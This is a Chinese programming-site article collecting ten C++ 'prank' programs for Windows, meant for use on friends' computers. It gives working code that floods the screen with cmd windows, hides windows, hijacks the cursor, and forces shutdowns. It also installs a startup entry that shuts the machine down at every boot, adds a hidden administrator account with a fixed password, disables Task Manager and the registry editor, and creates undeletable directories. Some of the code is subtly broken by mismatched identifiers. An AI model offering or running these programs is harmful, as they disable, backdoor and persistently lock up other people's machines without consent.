iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > 其他教程 >十个C++恶搞朋友的代码合集
  • 276
分享到

十个C++恶搞朋友的代码合集

C++恶搞程序C++恶搞代码C++恶搞 2023-02-06 15:02:35 276人浏览 泡泡鱼
摘要

目录0.无限生成cmd1.使鼠标所点应用消失2.使鼠标乱飞3.立刻或定时关机4.卡死5.开机即关机6.添加用户7.禁用任务管理器8.禁用注册表9.桌面壁纸10.不可删除文件注:以下代

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

0.无限生成cmd

解决方法:关闭程序即可

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}

1.使鼠标所点应用消失

解决方法:暂无

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    } 
}

2.使鼠标乱飞

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    } 
}

3.立刻或定时关机

解决方法:cmd(Win+R,输入:cmd),输入shutdown -a

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown -s -t 60");->1分钟
    system("shutdown -p");->立刻
}

4.卡死

注意:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}

警告:从5.开始为危险/永久性程序,请慎重使用

5.开机即关机

提示:操作启动项,可能被杀毒软件拦截

解决方法:杀毒软件

Code:(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int arGC, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}

6.添加用户

提示:可能被杀毒软件拦截

解决方法:杀毒软件

Code:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR PassWord)
{
    USER_INFO_1 user;
    user.usri1_name = UserName;
    user.usri1_password = Password;
    user.usri1_priv = USER_PRIV_USER;
    user.usri1_home_dir = NULL;
    user.usri1_comment = NULL;
    user.usri1_flags = UF_SCRIPT;
    user.usri1_script_path = NULL;
    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
        printf("创建用户完成 \n");
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = user.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
        printf("添加到组完成 \n");
}
void EnumUser()
{
    LPUSER_INFO_0 pBuf = NULL;
    LPUSER_INFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    DWORD i;
    NET_API_STATUS nStatus;
    LPTSTR pszServerName = NULL;
 
    do
    {
        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
 
        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != NULL);
 
                    if (pTmpBuf == NULL)
                    {
                        break;
                    }
                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                    pTmpBuf++;
                }
            }
        }
 
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA);
    NetApiBufferFree(pBuf);
}
 
int main(int argc, char *argv[])
{
    AddUser(L"lyshark", L"123123");
    EnumUser();
 
    system("pause");
    return 0;
}

7.禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

8.禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableReGIStryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

9.桌面壁纸

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

10.不可删除文件

解决方法:将51-52行换成52行

Code:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmUnity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
 
    strcat(file, "\\anti...\\");
    RemoveDirectory(file);
 
    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
    char *Fuk[4] = { "你", "好", "世", "界" };
    int FukLen = sizeof(Fuk) / sizeof(int);
 
    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
 
    for (int x = 0; x < FukLen; x++)
    {
        SetImmunity("c://", Fuk[x]);
        //ClearImmunity("c://", Fuk[x]);
    }
 
    system("pause");
    return 0;
}

到此这篇关十个C++恶搞朋友的代码合集的文章就介绍到这了,更多相关C++恶搞代码内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: 十个C++恶搞朋友的代码合集

本文链接: https://www.lsjlt.com/news/194361.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作